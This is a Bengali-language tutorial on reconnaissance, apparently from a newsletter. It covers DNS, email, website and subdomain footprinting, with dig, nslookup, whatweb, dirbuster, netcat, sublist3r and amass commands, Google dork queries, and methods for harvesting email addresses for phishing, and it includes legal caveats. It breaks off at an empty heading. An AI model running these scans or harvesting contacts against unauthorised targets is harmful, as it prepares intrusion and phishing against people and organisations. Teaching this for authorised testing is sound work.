DNS Footprinting হল একটি প্রক্রিয়া যার মাধ্যমে একজন আক্রমণকারী বা নিরাপত্তা বিশ্লেষক একটি নির্দিষ্ট ডোমেইন বা ওয়েবসাইট সম্পর্কিত DNS (Domain Name System) রেকর্ড এবং অন্যান্য তথ্য সংগ্রহ করেন। DNS তথ্য সংগ্রহ করে ওয়েবসাইট বা সার্ভারের অবস্থান, সেটি পরিচালনার জন্য ব্যবহৃত সার্ভিস এবং প্রযুক্তি সম্পর্কে ধারণা পাওয়া যায়। এই প্রক্রিয়া একটি ওয়েবসাইট বা নেটওয়ার্কের নিরাপত্তা দুর্বলতা শনাক্ত করতে সহায়ক হতে পারে।

DNS footprinting মূলত নেটওয়ার্ক সিকিউরিটি পরীক্ষা এবং পেনটেস্টিংয়ে ব্যবহৃত হয় এবং এটিকে সাইবার আক্রমণকারীরা সিস্টেমের বিপজ্জনক অংশগুলি চিহ্নিত করার জন্য ব্যবহার করে।

DNS Footprinting এর উদ্দেশ্য:

• ডোমেইন সম্পর্কিত বিস্তারিত তথ্য সংগ্রহ:
  DNS ফুটা প্রক্রিয়াটি ব্যবহার করে একটি ডোমেইনের বিভিন্ন ধরনের রেকর্ড যেমন A, MX, NS, SOA রেকর্ড ইত্যাদি সম্পর্কে তথ্য সংগ্রহ করা যায়।

• ওয়েবসাইট বা সার্ভারের স্থিতি এবং অবস্থান জানা:
  DNS রেকর্ডের মাধ্যমে সার্ভারের অবস্থান এবং সার্ভার ব্যবহৃত সফটওয়্যার সম্পর্কিত তথ্য জানা যায়।

• সিস্টেম দুর্বলতা চিহ্নিত করা:
  DNS ফুটা প্রক্রিয়ার মাধ্যমে কোনও ভুল কনফিগারেশন বা প্রাইভেসি সমস্যার সন্ধান পাওয়া যেতে পারে।

DNS Footprinting এর পদ্ধতিগুলি:

১. DNS Zone Transfer (AXFR) পদ্ধতি:

DNS Zone Transfer হল একটি প্রক্রিয়া যেখানে DNS রেজিস্ট্রি সমস্ত রেকর্ড (যেমন A, MX, NS রেকর্ড) একটি ডোমেইনের জন্য সেবা প্রদানকারী DNS সার্ভারের মধ্যে স্থানান্তরিত হয়। সাধারণত, DNS সার্ভারগুলি কেবলমাত্র তাদের নিজস্ব রেকর্ডগুলিই শেয়ার করার জন্য কনফিগার করা হয়, তবে কখনও কখনও সার্ভারের ভুল কনফিগারেশন দ্বারা আক্রমণকারীরা এই রেকর্ডগুলির সম্পূর্ণ অ্যাক্সেস পেতে পারে।

• কমান্ড উদাহরণ:
  dig axfr @nameserver example.com

২. DNS Lookup (A, MX, NS, SOA রেকর্ড):

DNS Lookup হল DNS রেকর্ড যেমন A (Address), MX (Mail Exchange), NS (Name Server), এবং SOA (Start of Authority) রেকর্ড খুঁজে বের করার একটি প্রক্রিয়া। এই রেকর্ডগুলি সাধারণত সার্ভারের IP ঠিকানা, মেইল সার্ভার এবং ডোমেইনের কনফিগারেশন সম্পর্কিত তথ্য ধারণ করে।

• A Record: ওয়েবসাইটের IP ঠিকানা শনাক্ত করতে ব্যবহৃত হয়।

• MX Record: ডোমেইনের ইমেইল সার্ভার সম্পর্কিত তথ্য প্রদান করে।

• NS Record: ডোমেইনটির নাম সার্ভারের তথ্য প্রদান করে।

• SOA Record: ডোমেইনের সীমানা এবং কনফিগারেশন সম্পর্কিত তথ্য থাকে।

কমান্ড উদাহরণ:

• dig example.com A

• dig example.com MX

• dig example.com NS

• dig example.com SOA

৩. Reverse DNS Lookup:

Reverse DNS Lookup হল একটি প্রক্রিয়া যার মাধ্যমে একটি IP ঠিকানা থেকে সম্পর্কিত ডোমেইন নাম পাওয়া যায়। এটি আক্রমণকারীদের কাছে গুরুত্বপূর্ণ হতে পারে যখন তারা একটি IP ঠিকানা থেকে ডোমেইন সম্পর্কিত তথ্য সংগ্রহ করতে চান।

• কমান্ড উদাহরণ:
  dig -x 192.168.1.1

৪. DNS Brute Force:

DNS Brute Force হল একটি পদ্ধতি যেখানে আক্রমণকারী প্রচুর সংখ্যক ডোমেইন নাম ব্যবহার করে DNS সার্ভারে রেকর্ডগুলির জন্য চেষ্টা করেন। এই পদ্ধতিতে আক্রমণকারী ম্যানুয়ালি বা অটোমেটিকভাবে সাবডোমেইনগুলির তালিকা তৈরি করেন এবং তাদের বিরুদ্ধে DNS সার্ভারে অনুসন্ধান চালান।

• DNSBrute Tool ব্যবহার করে DNS ব্রুটফোর্স করা যেতে পারে।

৫. WHOIS Lookup:

WHOIS সার্ভিসের মাধ্যমে ডোমেইন সম্পর্কিত নিবন্ধন তথ্য পাওয়া যায়। DNS footprinting প্রক্রিয়ায় WHOIS ব্যবহার করে একজন আক্রমণকারী ডোমেইনের মালিকানা, যোগাযোগের তথ্য এবং DNS সার্ভারের নাম সম্পর্কিত তথ্য খুঁজে বের করতে পারেন।

• WHOIS Lookup টুলস:

  • whois.com

  • arin.net

৬. DNS Caching:

DNS কেবলমাত্র কিছু সময়ের জন্য সার্ভারের ডেটা সংরক্ষণ করে থাকে। একজন আক্রমণকারী যদি DNS ক্যাশে থাকা পুরানো রেকর্ড খুঁজে পান, তাহলে তিনি পুরনো বা ভুল তথ্য ব্যবহার করে আক্রমণ পরিচালনা করতে পারেন। সুতরাং DNS ক্যাশের দুর্বলতা খুঁজে বের করা খুবই গুরুত্বপূর্ণ।

৭. DNS Query using Online Services:

অনলাইনে অনেক DNS অনুসন্ধানকারী সেবা রয়েছে যা আপনি DNS রেকর্ডগুলি পরীক্ষা করতে ব্যবহার করতে পারেন। এগুলির মধ্যে কয়েকটি জনপ্রিয় পরিষেবা হল:

• MXToolbox

• DNSstuff

• IntoDNS

DNS Footprinting এর সতর্কতা:

• আইনি সীমাবদ্ধতা:
  DNS ফুটা প্রক্রিয়া ব্যবহার করার সময়, এটি নিশ্চিত করতে হবে যে আপনি আইনি সীমানার মধ্যে রয়েছেন এবং সংস্থা কতৃক অনুমোদিত পরীক্ষাগুলি বা টেস্ট গুলো করছেন। অবৈধ DNS Footprinting এর মাধ্যমে ডোমেইন বা সার্ভারগুলির তথ্য সংগ্রহ করা আইনগতভাবে ভুল বা বেআইনি হতে পারে।

Email Footprinting হল একটি প্রক্রিয়া যার মাধ্যমে একজন আক্রমণকারী বা নিরাপত্তা বিশ্লেষকগন ইমেইল সম্পর্কিত তথ্য সংগ্রহ করে। এই তথ্যগুলি ইমেইল একাউন্ট, তার সাথে সম্পর্কিত সার্ভিস, সার্ভারের অবস্থান, ইমেইল প্রোটোকল, এবং অন্যান্য তথ্য প্রকাশ করতে সহায়ক হতে পারে। এই তথ্য সংগ্রহের মাধ্যমে আক্রমণকারীরা সম্ভবত ইমেইল স্পুফিং, ফিশিং, বা অন্যান্য সামাজিক প্রকৌশল আক্রমণ করতে পারে।

Email Footprinting এর উদ্দেশ্য:

• ইমেইল সার্ভার সম্পর্কিত তথ্য সংগ্রহ
  ইমেইল সার্ভারের ধরন, কনফিগারেশন এবং সার্ভার সম্পর্কিত দুর্বলতাগুলি খুঁজে বের করা।

• ইমেইল অ্যাকাউন্টের মালিক বা ব্যবহারকারীদের শনাক্ত করা
  ইমেইল অ্যাকাউন্টের মালিকের তথ্য সংগ্রহ করা যেমন নাম, প্রতিষ্ঠানের তথ্য, যোগাযোগের নম্বর ইত্যাদি।

• সামাজিক প্রকৌশল আক্রমণ প্রস্তুত করা
  একজন আক্রমণকারী ইমেইল সম্পর্কিত তথ্য সংগ্রহ করে সহজেই ফিশিং বা স্পুফিং আক্রমণ চালাতে পারে।

Email Footprinting এর পদ্ধতিগুলি:

১. WHOIS Lookup:

WHOIS সার্ভিসের মাধ্যমে ডোমেইন নিবন্ধনের তথ্য পাওয়া যায় যা ইমেইল ডোমেইন সম্পর্কিত বিস্তারিত তথ্য সরবরাহ করে। WHOIS তথ্য থেকে আমরা ইমেইল একাউন্টের প্রোফাইল এবং মালিকের যোগাযোগের তথ্য জানতে পারি।

• WHOIS টুলস:

  • whois.com

  • arin.net

২. DNS Lookup (MX Records):

MX (Mail Exchange) রেকর্ড হল DNS রেকর্ড যা একটি ডোমেইনের জন্য ইমেইল সার্ভার নির্দেশ করে। DNS Lookup ব্যবহার করে আপনি ইমেইল সার্ভারের নাম, এর অবস্থান, এবং অন্যান্য প্রাসঙ্গিক তথ্য সংগ্রহ করতে পারেন।
এটি ইমেইল সার্ভারের জন্য সম্ভবত দুর্বলতাগুলি খুঁজে বের করতে সহায়ক হতে পারে।

• NSLookup বা Dig ব্যবহার:

  • dig example.com MX

  • nslookup -type=mx example.com

৩. Email Address Harvesting:

এই পদ্ধতিতে ইমেইল ঠিকানা সংগ্রহ করার জন্য বিভিন্ন সার্চ ইঞ্জিন, সোশ্যাল মিডিয়া, ফোরাম বা ওয়েবসাইট ব্যবহার করা হয়। আক্রমণকারী সাধারণত বিভিন্ন ওয়েবসাইট বা ডাটাবেস থেকে পেশাদারী ইমেইল ঠিকানা খুঁজে বের করে যা পরবর্তী আক্রমণ বা ফিশিংয়ের জন্য ব্যবহার করা যেতে পারে।

• Google Search:
  গুগলে কিছু কুয়েরি ব্যবহার করে ইমেইল ঠিকানা খুঁজে বের করা সম্ভব।
  উদাহরণ:

  • site:example.com email

  • @example.com

৪. Email Header Analysis:

ইমেইল হেডারের মধ্যে ইমেইল সম্পর্কিত বিস্তারিত তথ্য থাকে, যেমন প্রেরকের সার্ভার, আইপি ঠিকানা, এবং রুটিং তথ্য। ইমেইল হেডার বিশ্লেষণ করে সহজেই ইমেইলের উৎস এবং এর পথ নির্ধারণ করা যায়।

• Email Header Analyzer:
  ইমেইল হেডার বিশ্লেষণ করার জন্য বিভিন্ন টুল রয়েছে, যেমন:

  • MXToolbox

  • Email Header Analyzer

৫. Social Media Search (Social Engineering):

সোশ্যাল মিডিয়া প্ল্যাটফর্ম যেমন Facebook, LinkedIn, Twitter ইত্যাদি ব্যবহার করে ইমেইল সম্পর্কিত তথ্য পাওয়া যেতে পারে। সামাজিক প্রকৌশল আক্রমণকারীরা সোশ্যাল মিডিয়া থেকে টার্গেটের সম্পর্কে বিভিন্ন গুরুত্বপূর্ণ তথ্য সংগ্রহ করে তাদের আক্রমণ সহজতর করতে পারে।

• LinkedIn:
  পেশাদারী ইমেইল ঠিকানা সংগ্রহ করতে লিঙ্কডইন ব্যবহার করা যেতে পারে।

• Twitter/Facebook:
  প্রোফাইল বিশ্লেষণ করে ইমেইল বা যোগাযোগের তথ্য খুঁজে বের করা যেতে পারে।

৬. Email Footprinting Tools:

কিছু টুলও ইমেইল সম্পর্কিত তথ্য সংগ্রহ করতে সহায়ক হতে পারে:

• Hunter.io:
  এটি একটি শক্তিশালী টুল যা ইমেইল ঠিকানা খুঁজে বের করার জন্য ব্যবহার করা যেতে পারে।
  লিংক: Hunter.io

• VoilaNorbert:
  এটি একটি টুল যা ইমেইল ঠিকানা প্রাপ্তি এবং যাচাইয়ের জন্য ব্যবহৃত হয়।
  লিংক: VoilaNorbert

৭. Social Search Engines:

ইমেইল ফুটপ্রিন্টিংয়ের জন্য বিভিন্ন সামাজিক অনুসন্ধান ইঞ্জিন ব্যবহার করা যেতে পারে যা ব্যক্তিগত বা পেশাদারী ইমেইল ঠিকানা খুঁজে বের করতে সহায়তা করে।

• People Search Engines:
  যেমন Intelius বা Social Searcher ব্যবহার করে ব্যক্তিগত ইমেইল ঠিকানা এবং যোগাযোগের তথ্য খুঁজে বের করা যেতে পারে।

Email Footprinting এর সতর্কতা:

• আইনি সমস্যা:
  অবৈধভাবে ইমেইল তথ্য সংগ্রহ করা এবং এর মাধ্যমে আক্রমণ পরিচালনা করা বেআইনি হতে পারে। সুতরাং, এটি শুধুমাত্র অনুমোদিত নিরাপত্তা পরীক্ষা এবং গবেষণার জন্য করা উচিত।

• সোশাল ইঞ্জিনিয়ারিং :
  ইমেইল ফিশিং আক্রমণ এবং অন্যান্য সোশাল ইঞ্জিনিয়ারিংআক্রমণের জন্য ইমেইল সম্পর্কিত তথ্য ব্যবহার করা হতে পারে। ফলে সতর্কতা অবলম্বন করা জরুরি।

ওয়েবসাইট ফুটপ্রিন্টিং করার জন্য বেশ কিছু টুলস ব্যবহৃত হয়, যেগুলি বিভিন্ন ধরণের তথ্য সংগ্রহ করতে সাহায্য করে। এসব টুলস ব্যবহার করে আপনি একটি ওয়েবসাইটের কাঠামো, প্রযুক্তি, নিরাপত্তা দুর্বলতা এবং আরও অনেক কিছু সম্পর্কে তথ্য পেতে পারেন। তবে, এই টুলগুলি ব্যবহার করার সময় সচেতনতা ও অনুমতি থাকা অত্যন্ত গুরুত্বপূর্ণ।

১. ওয়েব ক্রলার (Web Crawlers):

এই টুলগুলি একটি ওয়েবসাইটের সমস্ত লিঙ্ক অনুসরণ করে এবং সাইটের কাঠামো এবং কনটেন্ট সম্পর্কে তথ্য সংগ্রহ করে। ওয়েব ক্রলারগুলি সাধারণত ওয়েবসাইটের ইনডেক্সিং এবং কনটেন্ট বিশ্লেষণের জন্য ব্যবহৃত হয়।

• উদাহরণ: Googlebot, Bingbot, ইত্যাদি।

২. ওয়েব অ্যাপ্লিকেশন স্ক্যানার (Web Application Scanners):

এই টুলগুলি ওয়েব অ্যাপ্লিকেশনগুলি স্ক্যান করে এবং SQL ইনজেকশন, ক্রস-সাইট স্ক্রিপটিং (XSS) এর মতো নিরাপত্তা দুর্বলতা চিহ্নিত করতে ব্যবহৃত হয়। এই টুলগুলি ওয়েব অ্যাপ্লিকেশনের দুর্বলতা পরীক্ষা করতে সাহায্য করে।

• উদাহরণ: Nessus, OpenVAS, OWASP ZAP, ইত্যাদি।

৩. নেটওয়ার্ক স্ক্যানার (Network Scanners):

এই টুলগুলি একটি ওয়েবসাইটের নেটওয়ার্ক স্ক্যান করে এবং খোলামেলা পোর্ট ও সেবা চিহ্নিত করে। এগুলি ওয়েবসাইটের নেটওয়ার্ক অবকাঠামো ম্যাপ করতে ব্যবহৃত হয়।

• উদাহরণ: Nmap, Fping, ইত্যাদি।

৪. ব্রাউজার প্লাগইন (Browser Plugins):

এই ব্রাউজার এক্সটেনশনগুলি বিভিন্ন ব্রাউজারে ইনস্টল করা যায় এবং ওয়েবসাইটের প্রযুক্তি সম্পর্কিত তথ্য সংগ্রহ করতে সাহায্য করে।

• উদাহরণ: Wappalyzer, BuiltWith, ইত্যাদি।

৫. OSINT টুলস (Open-Source Intelligence Tools):

OSINT (ওপেন সোর্স ইনটেলিজেন্স) টুলগুলি সোশ্যাল মিডিয়া, সার্চ ইঞ্জিন, এবং জব পোর্টালসহ বিভিন্ন উন্মুক্ত উৎস থেকে লক্ষ্যবস্তু সম্পর্কে তথ্য সংগ্রহ করতে ব্যবহৃত হয়।

• উদাহরণ: Maltego, TheHarvester, ইত্যাদি।

৬. গুগল ডর্কিং (Google Dorking):

গুগল ডর্কিং একটি কৌশল যেখানে গুগল সার্চ কুয়্যারির জন্য উন্নত অপারেটর ব্যবহার করে ওয়েবসাইট সম্পর্কিত তথ্য সংগ্রহ করা হয়। এটি টার্গেট সাইটের সম্পর্কে গভীরতর তথ্য খুঁজে বের করতে সাহায্য করে।

উপরের টুলগুলির মাধ্যমে ওয়েবসাইটের প্রযুক্তি, কাঠামো, এবং নিরাপত্তা দুর্বলতা সম্পর্কিত তথ্য সংগ্রহ করা সম্ভব। তবে, এগুলি ব্যবহার করার আগে অনুমতি গ্রহণ করা অত্যন্ত গুরুত্বপূর্ণ, কারণ এই টুলগুলি যদি অযথা বা অশুভ উদ্দেশ্যে ব্যবহার করা হয়, তা সাইবার অপরাধ হিসেবে গণ্য হতে পারে।

ওয়েবসাইট ফুটপ্রিন্টিং হলো একটি ওয়েবসাইট বা ওয়েব সার্ভিসের সম্পর্কিত তথ্য সংগ্রহের প্রক্রিয়া, যা আক্রমণকারীদের জন্য লক্ষ্যবস্তু সম্পর্কে মূল্যবান তথ্য উন্মোচন করতে সাহায্য করে। ওয়েবসাইট ফুটপ্রিন্টিং সাইবার আক্রমণের প্রথম ধাপ যা সিস্টেমের দুর্বলতা চিহ্নিত করার জন্য প্রয়োজনীয় তথ্য সরবরাহ করে।

ফুটপ্রিন্টিংয়ের মাধ্যমে আক্রমণকারী ওয়েবসাইটের অবকাঠামো, প্রযুক্তি, ব্যবহৃত সফটওয়্যার এবং সম্ভাব্য দুর্বলতা সম্পর্কে তথ্য সংগ্রহ করে। এই তথ্য সংগ্রহের পরে আক্রমণকারী আরও লক্ষ্যভিত্তিক আক্রমণ পরিকল্পনা করতে সক্ষম হয়।

Website Footprinting এর উদ্দেশ্য:

• ওয়েবসাইটের সম্পর্কিত সকল তথ্য জানার চেষ্টা করা।
  যেমন: ওয়েবসাইটের নাম, DNS রেকর্ড, সার্ভারের ধরনের তথ্য, প্রযুক্তি স্ট্যাক, সাবডোমেইন, ব্যবহারকারী বা এডমিন লগিন পোর্টাল ইত্যাদি।

• নিরাপত্তা দুর্বলতা চিহ্নিত করা
  কোন ওয়েব পেজ বা সার্ভার নিরাপত্তাহীন তা খুঁজে বের করা।

• আইটি অবকাঠামো এবং সার্ভিস খুঁজে বের করা।
  ওয়েবসাইটের পিছনের সার্ভার এবং অন্যান্য সংস্থানগুলি সম্পর্কিত তথ্য।

ওয়েবসাইট ফুটপ্রিন্টিং এর মূল উপাদানসমূহ:

• DNS তথ্য সংগ্রহ (DNS Information Gathering):

  • ওয়েবসাইটের DNS রেকর্ডগুলি সংগ্রহ করে আক্রমণকারী ডোমেইনের মালিকানা, সাবডোমেইন, IP ঠিকানা এবং নেটওয়ার্ক সম্পর্কিত তথ্য জানতে পারে। সাধারণত whois, nslookup, বা dig টুল ব্যবহার করা হয় DNS রেকর্ড বিশ্লেষণ করতে।

• ব্যবহৃত টেকনোলজি চিহ্নিতকরণ (Identification of Technologies Used):

  • আক্রমণকারী ওয়েবসাইটের টেকনোলজি (যেমন, সার্ভার সফটওয়্যার, CMS, ডেটাবেস, প্রোগ্রামিং ভাষা) চিহ্নিত করতে পারে। এটি সাধারণত ওয়েবসাইটের HTTP হেডার, ফিঙ্গারপ্রিন্টিং টুলস (যেমন WhatWeb, Wappalyzer) ব্যবহার করে করা হয়।

• নেটওয়ার্ক এবং IP স্ক্যানিং (Network and IP Scanning):

  • আক্রমণকারী ওয়েবসাইটের নেটওয়ার্ক অবকাঠামো সম্পর্কে বিস্তারিত তথ্য পেতে আইপি স্ক্যানিং এবং পোর্ট স্ক্যানিং পরিচালনা করতে পারে। এই পদ্ধতিতে তারা সাইটের ব্যবহৃত পোর্ট, সার্ভার ফায়ারওয়াল, এবং নিরাপত্তা কনফিগারেশনগুলো পরীক্ষা করে।

• সার্ভার সফটওয়্যার এবং সংস্করণ নির্ধারণ (Server Software and Version Detection):

  • ওয়েব সার্ভার সফটওয়্যার যেমন Apache, Nginx, IIS বা অন্য কোন সার্ভারের সংস্করণ চিহ্নিত করা যেতে পারে। কিছু বিশেষ সংস্করণে দুর্বলতা থাকতে পারে, যা আক্রমণকারীর জন্য সুযোগ সৃষ্টি করে।

• এপ্লিকেশন ম্যাপিং (Application Mapping):

  • আক্রমণকারী ওয়েবসাইটের বিভিন্ন পেজ এবং এন্ডপয়েন্টগুলো শনাক্ত করতে পারে। ওয়েবসাইটের ভিতরের গঠন, লিংক, ফর্ম এবং অন্যান্য উপাদান পরীক্ষা করা হয়, যা আক্রমণকারীর জন্য দরকারী হতে পারে।

• ফাইল এবং ডিরেক্টরি ব্রুটফোর্স (File and Directory Bruteforce):

  • ওয়েবসাইটের কনফিগারেশন বা ফাইলগুলি যদি সঠিকভাবে সুরক্ষিত না থাকে, তবে আক্রমণকারী একটি নির্দিষ্ট ডিরেক্টরি বা ফাইলের অবস্থান জানতে পারে। কিছু টুল যেমন dirb বা gobuster এর মাধ্যমে এই ধরণের তথ্য খুজে বের করা যায়।

• ওয়েব অ্যাপ্লিকেশন স্ক্যানিং (Web Application Scanning):

  • ওয়েব অ্যাপ্লিকেশনের দুর্বলতা পরীক্ষা করা হয়, যেমন SQL ইনজেকশন, XSS (Cross-site Scripting), CSRF (Cross-site Request Forgery) ইত্যাদি। এই পদ্ধতিতে ওয়েব অ্যাপ্লিকেশন এর বিভিন্ন ধরনের নিরাপত্তা দুর্বলতা চিহ্নিত করা হয়।

• সোশ্যাল ইঞ্জিনিয়ারিং (Social Engineering):

  • আক্রমণকারীরা কখনও কখনও সোশ্যাল ইঞ্জিনিয়ারিং পদ্ধতি ব্যবহার করে ব্যবহারকারীদের বা সাইটের কর্মচারীদের কাছ থেকে প্রয়োজনীয় তথ্য সংগ্রহ করতে পারে।

ওয়েবসাইট ফুটপ্রিন্টিং এর গুরুত্ব:

• বিপদ চিহ্নিতকরণ:
  ফুটপ্রিন্টিংয়ের মাধ্যমে, আক্রমণকারী সম্ভাব্য দুর্বলতা চিহ্নিত করতে পারে, যা পরবর্তীতে একটি বড় আক্রমণের পক্ষে কার্যকর হতে পারে।

• বিভিন্ন দুর্বলতা খোঁজা:
  বিভিন্ন সফটওয়্যার এবং টেকনোলজির দুর্বলতা খুঁজে পেতে ফুটপ্রিন্টিং একটি অপরিহার্য কৌশল হতে পারে।

• নিরাপত্তা শক্তিশালীকরণ:
  ওয়েবসাইটের ফুটপ্রিন্টিং করে একটি প্রতিষ্ঠান তাদের নিজস্ব নিরাপত্তা ব্যবস্থা পরীক্ষা করতে পারে এবং দুর্বলতা দূর করার ব্যবস্থা নিতে পারে।

১. DNS Footprinting (DNS Enumeration):

ডিএনএস সম্পর্কিত তথ্য সংগ্রহ করা গুরুত্বপূর্ণ কারণ এটি ওয়েবসাইটের নেটওয়ার্ক কনফিগারেশন সম্পর্কে ধারণা দেয়।

• NSLookup বা Dig ব্যবহার করে ডোমেইন বা সাবডোমেইনের ডিএনএস রেকর্ড বিশ্লেষণ করা হয়। কমান্ড উদাহরণ:

  dig example.com any

  nslookup example.com

২. WHOIS Lookup:

WHOIS সার্ভিসের মাধ্যমে ওয়েবসাইটের মালিক, রেজিস্ট্রেশন তারিখ, কন্টাক্ট ইনফরমেশন, এবং ডোমেইন সম্পর্কিত অন্যান্য তথ্য পাওয়া যায়।

• WHOIS টুলস:

  • whois.com

  • arin.net

৩. Web Server Identification:

ওয়েব সার্ভারের প্রযুক্তি এবং সফটওয়্যার সংস্করণ সম্পর্কে তথ্য সংগ্রহ করা। কিছু জনপ্রিয় টুলে যেমন Nmap এবং WhatWeb ব্যবহার করে ওয়েব সার্ভারের প্রযুক্তি শনাক্ত করা যায়।

• WhatWeb টুল ব্যবহার:
  এটি ওয়েবসাইটের পিছনের সার্ভার এবং প্ল্যাটফর্ম শনাক্ত করতে ব্যবহৃত হয়।
  কমান্ড উদাহরণ:

  whatweb example.com

৪. Directory & File Enumeration:

ওয়েবসাইটে সংবেদনশীল বা অ্যাক্সেসযোগ্য ফাইল এবং ডিরেক্টরি শনাক্ত করা। কিছু হ্যাকাররা গোপন ডিরেক্টরি যেমন admin/, backup/, login/ ইত্যাদি খুঁজে বের করে।

• DirBuster:
  এটি ওয়েব ডিরেক্টরি ব্রুটফোর্স করার জন্য ব্যবহৃত হয়। এটি সাধারণত সিস্টেমের এক্সপোজড ডিরেক্টরি বা ফাইল পেতে সহায়ক।
  কমান্ড উদাহরণ:

  dirbuster -u http://example.com

  • Share

৫. Technology Stack Identification:

ওয়েবসাইটের প্রযুক্তি স্ট্যাক যেমন ব্যবহৃত CMS, ডেটাবেস, সেকেন্ডারি সার্ভিস এবং টুলস সম্পর্কে জানার জন্য ওয়েব স্ক্যানার এবং ফিঙ্গারপ্রিন্টিং টুলস ব্যবহার করা হয়।

• BuiltWith:
  ওয়েবসাইটের প্রযুক্তি এবং টুল সম্পর্কে বিস্তারিত তথ্য প্রদান করে।

  • লিংক: BuiltWith

৬. Social Engineering (Social Media Footprinting):

ওয়েবসাইট বা কোম্পানির প্রাসঙ্গিক সোশ্যাল মিডিয়া প্রোফাইল যেমন ফেসবুক, টুইটার, লিঙ্কডইন, এবং ইনস্টাগ্রাম থেকে তথ্য সংগ্রহ করা যেতে পারে।

• LinkedIn: কোম্পানি সম্পর্কিত বিভিন্ন স্টাফ এবং তাদের ভূমিকা সম্পর্কে জানা যেতে পারে।

• Twitter/Facebook: পাবলিক পোস্ট বা কমেন্ট থেকে অতিরিক্ত তথ্য পাওয়া যেতে পারে।

৭. Banner Grabbing:

ওয়েব সার্ভার বা এপ্লিকেশনের ফিঙ্গারপ্রিন্ট সংগ্রহের জন্য ব্যানার গ্র্যাবিং পদ্ধতি ব্যবহার করা হয়। এই টুলটি সার্ভারের নাম, সংস্করণ, এবং অন্যান্য তথ্য প্রকাশ করতে পারে।

• Netcat:
  ওয়েব সার্ভারের ব্যানার এবং অন্যান্য তথ্য সংগ্রহের জন্য ব্যবহৃত হয়। কমান্ড উদাহরণ:

  nc -v example.com 80

৮. Footprinting with Shodan:

Shodan একটি ইন্টারনেট অফ থিংস (IoT) সার্চ ইঞ্জিন যা ওয়েবসাইটের সার্ভারের ভৌগলিক অবস্থান এবং আরও অনেক তথ্য খুঁজে বের করতে পারে।

• Shodan:
  এটি একটি শক্তিশালী টুল যা সার্ভারের খোলামেলা পোর্ট, ব্যবহৃত সার্ভিস এবং অন্যান্য তথ্য শো করতে পারে।
  লিংক: Shodan

৯. Screenshot and Capture Information:

ওয়েবসাইটের স্ক্রিনশট এবং ক্যাপচার প্রক্রিয়া সম্পূর্ণ ওয়েবসাইটের মৌলিক কাঠামো, লেআউট এবং নিরাপত্তা ব্যবস্থাগুলি খুঁজে বের করতে সহায়ক হতে পারে।

Subscribe now

১. ম্যানুয়াল সার্চ (Search Engine ব্যবহার):

• Google:
  গুগল সার্চের মাধ্যমে একটি ডোমেইনের সাবডোমেইন খুঁজে বের করা যেতে পারে।
  কৌশল:

  • site:example.com -www

  • site:example.com
    এখানে example.com হল টার্গেট ডোমেইন। এই সার্চ কুয়েরি মূল ডোমেইনের সাথে সম্পর্কিত Subdomains খুঁজে বের করতে সহায়ক।

২. DNS Enumeration (DNS অনুসন্ধান):

• NSlookup/Dig:
  এটি DNS রেকর্ড অনুসন্ধান করার জন্য একটি কমান্ড লাইন টুল, যা Subdomains সম্পর্কে তথ্য প্রদান করতে পারে।
  

  উদাহরণ: উইন্ডোজ সিস্টেমে cmd তে আমরা নিচের কমান্ড ব্যবহার করতে পারি

  nslookup -type=any example.com

  লিনাক্স সিস্টেম:

  dig example.com any

৩. Subdomain Enumeration Tools:

• Sublist3r:
  একটি জনপ্রিয় ওপেন সোর্স টুল যা দ্রুত এবং কার্যকরভাবে Subdomains খুঁজে বের করতে সহায়ক।
  ব্যবহার:

  python sublist3r.py -d example.com

• Amass:
  এটি একটি শক্তিশালী Subdomain enumeration টুল, যা বিভিন্ন উৎস থেকে তথ্য সংগ্রহ করতে পারে এবং একটি বিস্তারিত রিপোর্ট তৈরি করে।
  ব্যবহার:

  amass enum -d example.com

• Subfinder:
  এটি Subdomains খুঁজে বের করার জন্য একটি দ্রুত এবং সহজ টুল।
  ব্যবহার:

  subfinder -d example.com

৪. DNS Zone Transfer:

• DNS Zone Transfer:
  DNS সিকিউরিটি কনফিগারেশনের ভুলের কারণে কখনও কখনও ডোমেইন এবং তার Subdomains-এর সম্পূর্ণ তালিকা প্রকাশিত হতে পারে। এটি খুঁজে বের করার জন্য dig বা nslookup ব্যবহার করা যেতে পারে।
  উদাহরণ:

  dig AXFR example.com @nameserver.com

৫. Online Tools:

অনলাইনে কয়েকটি টুলস আছে যা Subdomains খুঁজে বের করতে সাহায্য করে:

• SecurityTrails:
  এটি একটি শক্তিশালী অনলাইন টুল যা সাবডোমেইন খুঁজে বের করতে সাহায্য করে।
  লিংক: SecurityTrails

• crt.sh:
  এটি একটি সার্টিফিকেট ট্রান্সপারেন্সি লগ সার্ভিস, যেখানে SSL সার্টিফিকেটে ব্যবহৃত ডোমেইনের সাবডোমেইন পাওয়া যেতে পারে।
  লিংক: crt.sh

• VirusTotal:
  এটিতে বিভিন্ন ভাইরাস স্ক্যানের পাশাপাশি Subdomain তথ্য পাওয়া যায়।
  লিংক: VirusTotal

৬. Subdomain Bruteforce Attack:

• Subdomain Bruteforce:
  সাবডোমেইন ব্রুটফোর্স আক্রমণ একটি কৌশল যেখানে কিছু সাধারন সাবডোমেইন নাম ব্যবহার করা হয় এবং DNS রেকর্ড চেক করা হয়।
  উদাহরণ:

  • Tools: dnsmap, fierce

Subdomain Enumeration এ সতর্কতা:

সাবডোমেইন enumeration প্রক্রিয়া যদি নৈতিকভাবে এবং অনুমতি ছাড়া করা হয়, তবে এটি আইনী সমস্যা তৈরি করতে পারে। নিরাপত্তা গবেষণা করার সময় সবসময় সংশ্লিষ্ট পক্ষের অনুমতি নিন এবং প্রয়োজনীয় নৈতিক দৃষ্টিভঙ্গি বজায় রাখুন।

একটি সাবডোমেইন হচ্ছে একটি মূল ডোমেইনের অংশ, যা সাইটের বিভিন্ন উপাদান বা পরিষেবাগুলির জন্য ব্যবহৃত হয়। সাইবার আক্রমণের প্রেক্ষাপটে, সাবডোমেইন খোঁজা একটি গুরুত্বপূর্ণ কৌশল, যা আক্রমণকারীরা মূল ডোমেইনের অধীনে বিদ্যমান বিভিন্ন সেবার অবস্থান বা ইনফ্রাস্ট্রাকচার খুঁজে বের করার জন্য ব্যবহার করে। এর মাধ্যমে তারা টার্গেট সাইটের বিভিন্ন আক্রমণযোগ্য দিক চিহ্নিত করতে পারে।

সাবডোমেইন খোঁজার কিছু পদ্ধতি:

DNS জিজ্ঞাসা (DNS Queries):

